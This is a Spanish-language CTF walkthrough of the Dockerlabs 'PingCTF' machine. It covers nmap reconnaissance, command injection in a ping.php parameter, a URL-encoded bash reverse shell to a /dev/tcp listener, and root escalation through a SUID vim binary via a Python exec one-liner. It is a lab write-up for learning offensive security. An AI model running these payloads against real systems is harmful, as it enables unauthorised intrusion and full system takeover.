Habilidades: Command Injection, Abusing SUID Binaries (vim
)
Introducción
PingCTF es una máquina de Dockerlabs de dificultad Fácil
donde debemos comprometer un servicio web para ganar acceso inicial. Una vez dentro, abusaremos de permisos mal configurados para el binario vim
.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.232 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.232/0.232/0.232/0.000 ms
Nmap Scanning
Haremos un escaneo con el propósito de identificar puertos abiertos en la máquina víctima
nmap -p- --open -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-31 18:15 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.42 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Vemos que solamente el servicio HTTP
se encuentra activo. Realizaremos un segundo escaneo frente a este servicio con el fin de detectar la versión y aplicar una serie de scripts básicos de reconocimiento
nmap -p 80 -sVC 172.17.0.2 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-31 18:15 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000054s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Ping
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.93 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Web Analysis
También podemos aplicar un escaneo de las tecnologías web que el servidor web pueda estar empleando para gestionar el contenido
whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[Ping]
Si navegamos hasta la web, veremos un servicio que al parecer nos permite verificar conectividad con una dirección IP
Si hacemos clic en Enviar
, el servidor nos muestra lo siguiente, donde envía la dirección IP en un parámetro de la url
Intrusión / Explotación
Command Injection
Sabiendo que esta funcionalidad posiblemente ejecute el comando ping
, podemos intentar inyectar un comando para ver si se ejecuta
http://172.17.0.2/ping.php?target=127.0.0.1; id
Vemos la salida del comando id
. En este punto podemos intentar enviarnos una reverse shell a través de la URL, aunque posiblemente necesitemos codificar algunos caracteres especiales como &
.
Abriremos un listener antes de enviar la conexión a nuestra máquina, escucharemos por un puerto, en mi caso he elegido el 443
(puedes elegir otro si quieres)
nc -lvnp 443
Nuestra reverse shell luce más o menos de la siguiente manera
http://172.17.0.2/ping.php?target=127.0.0.1;bash -c %27/bin/bash -i >%26 %2Fdev%2Ftcp%2F172.17.0.1%2F443 0>%261%27
%26 --> &
%27 --> '
%2F --> /
Shell as www-data
Al enviar la solicitud maliciosa al servidor, recibiremos la conexión como el usuario www-data
nc -lvnp 443
listening on [any] 443 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 37076
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@5ba58a964e24:/var/www/html$
Escalada de Privilegios
Abusing SUID Binaries (vim
)
Si listamos binarios que tengan el bit SUID
habilitado, veremos un binario inusual
www-data@5ba58a964e24:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/vim.basic
Si ejecutamos vim.basic
, según la salida veremos que parece ser una copia de vim
www-data@5ba58a964e24:/var/www/html$ /usr/bin/vim.basic --help
VIM - Vi IMproved 9.1 (2024 Jan 02, compiled Apr 01 2025 20:12:31)
Usage: vim [arguments] [file ..] edit specified file(s)
or: vim [arguments] - read text from stdin
or: vim [arguments] -t tag edit file where tag is defined
or: vim [arguments] -q [errorfile] edit file with first error
...
...
Root Time
Una simple búsqueda en GTFOBins
nos muestra cómo abusar de este permiso, donde ejecutamos una sesión de bash
con el parámetro -p
a través de python3
www-data@5ba58a964e24:/var/www/html$ /usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
E79: Cannot expand wildcards
Press ENTER or type command to continue # Presionamos ENTER
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
Bite off more than you can chew, then chew it. — Ella Williams